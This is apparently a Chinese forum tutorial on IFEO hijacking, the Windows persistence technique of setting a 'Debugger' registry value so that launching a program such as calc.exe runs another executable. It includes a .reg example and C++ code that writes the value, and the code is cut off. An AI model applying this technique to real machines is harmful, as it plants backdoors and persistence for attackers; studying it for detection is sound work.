IFEO劫持
IFEO 劫持,全称是 Image File Execution Options 劫持,是一种经典的 Windows 注册表劫持技术,常用于:[*]调试器注入(调试器劫持)
[*]替换可执行文件(木马植入/后门)
[*]权限维持(持续存在)
[*]沙箱检测绕过 / 自动启动注入器
原理简介
Windows 注册表中的 Image File Execution Options(简称 IFEO)键可用于在程序运行前注入调试器等行为。
注册表路径如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
关键子键是:
"Debugger" = "C:\path\to\your\malicious.exe"
只要系统尝试运行 target.exe,它就会先运行 Debugger 指定的程序,而不是目标程序本身。
示例:劫持 calc.exe
手动操作(Regedit 或 reg.exe)
Windows Registry Editor Version 5.00
"Debugger"="C:\\Windows\\System32\\cmd.exe"执行 calc.exe → 实际运行的是 cmd.exe。
程序化实现(C++ 示例)
点击查看代码#include #include int main() { HKEY hKey; LPCSTR target = "calc.exe"; LPCSTR debuggerPath = "C:\\Windows\\System32\\cmd.exe"; std::string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + std::string(target); if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)debuggerPath, strlen(debuggerPath) + 1); RegCloseKey(hKey); std::cout
页:
[1]